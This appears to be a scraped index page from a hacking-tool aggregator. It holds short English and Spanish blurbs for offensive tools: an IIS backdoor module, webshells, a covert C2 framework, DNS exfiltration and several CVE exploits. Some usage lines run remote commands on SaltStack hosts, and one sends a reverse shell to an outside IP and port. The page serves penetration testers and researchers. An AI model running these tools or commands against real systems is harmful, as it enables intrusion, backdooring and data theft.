MSSqlPwner

MSSqlPwner MSSqlPwner is an advanced and versatile pentesting tool designed to seamlessly interact and pwn MSSQL servers. That tool is based on impacket, which allows attackers to authenticate to databases using clear-text passwords NTLM Hashes, and kerberos tickets. With MSSqlPwner, users can...

IIS-Raid

IIS-Raid IS Raid is a native IIS module that abuses the extendibility of IIS to backdoor the web server and carry out custom actions defined by an attacker. Documentation When installed, IIS-Raid will process every request and method, check if the X-Password header exists and compare it against t...

The vulnerability of the Platypus.js tooling platform, related to deficiencies in the authentication process, allows a violator to execute arbitrary commands.

The vulnerability of the Platypus.js platform is related to deficiencies in the authentication process. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...

sunlogin_rce

Foreword Nothing much to say, I'll just put the tool and the vulnerable version here. It's great for local testing, but do not use it for illegal tests. Tested Sunflower client vulnerable version: 11.0.0.33162 The vulnerable client is provided in the source code. Port scanning uses:...

PyShell

PyShell PyShell is Multiplatform Python WebShell. This tool helps you to obtain a shell-like interface on a web server to be remotely accessed. Unlike other webshells, the main goal of the tool is to use as little code as possible on the server side, regardless of the language used or the operati...

smbmap

SMBMap SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and...

wildpwn

First things first! Read: https://www.exploit-db.com/papers/33930/ Basic usage It goes something like this: root@kitploit: usage: wildpwn.py -h --file FILE payload folder Tool to generate unix wildcard attacks positional arguments: payload Payload to use: combined | tar | rsync folder Where to...

RadareEye

A tool for scanning nearby devices and execute command when the target device comes in between range.. NOTE:- RadareEye Owner will be not responsible if any user performs malicious activities using this tool. Use it for Learning purpose only. Installation of RadareEye : root@kitploit: git clone...

QuickResponseC2

Capabilities - Usage - Demonstration - Workflow Overview - TODO QuickResponseC2 QuickResponseC2 is a stealthy Command and Control C2 framework that enables indirect and covert communication between the attacker and victim machines via an intermediate HTTP/S server. All network activity is...

RemoteKeyStrokes

RemoteKeyStrokes A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques. All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps...

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase anterior a 0.46.6.1 código abierto y anterior a 1.46.6.1 Enterprise Exploit para la vulnerabilidad de ejecución remota de código RCE identificada en las versiones de Metabase anteriores a 0.46.6.1 código abierto y 1.46.6.1 Enterprise. La vulnerabilidad permite a lo...

procrustes

Procrustes Un script bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos una ejecución de comandos ciega en un servidor donde todas las conexiones salientes excepto DNS están bloqueadas. El script actualmente es compatible con sh, bash y powershell y es compatible...

procrustes

Procrustes A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution e.g...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd 3.2.8.1 Backdoor Command Execution UnrealIRCd 3.2.8.1 backdoor command execution exploit in Python 3 CVE-2010-2075. Description UnrealIRCd version 3.2.8.1 contains a trojan horse which allows remote attackers to execute arbitrary commands CVE-2010-2075. I referenced the Metasploit...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444...

wp2shell

wp2shell CVE-2026-63030 + CVE-2026-60137+poc Esta vulnerabilidad no es demasiado fácil de explotar. Comando de ejecución de comandos de la base de datos: SELECT GROUPCONCATSCHEMANAME FROM INFORMATIONSCHEMA.SCHEMATA Referencia: https://github.com/Icex0/wp2shell-poc Sin embargo, hay un problema:...

CVE-2018-1133-Exploit

CVE-2018-1133-Exploit Este repositorio contiene un script de explotación en Python para el exploit del profesor malvado de Moodle CVE-2018-1133. Uso root@kitploit: usage: Moodle Evil Teacher Exploit -h -u URL -l LOGIN -p PASSWORD -c COMMAND -P PROXY options: -h, --help show this help message and...

CVE-2020-1938

CVE-2020-1938-tomcat-descarga de archivos + inclusión de archivos Vulnerabilidad de lectura de archivos del protocolo Tomcat-Ajp Fuente del PoC original: https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/blob/master/poc.py Después de modificar, puede incluir archivos y, bajo ciertas...

CVE-2022-45299

CVE-2022-45299 Biblioteca afectada : webbrowser.rs antes de la versión 0.8.3 https://github.com/amodm/webbrowser-rs Resumen: La biblioteca no valida que la entrada proporcionada sea realmente una URL. Por lo tanto, un atacante que controle una URL sin filtrar pasada a webbrowser::openURL puede...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...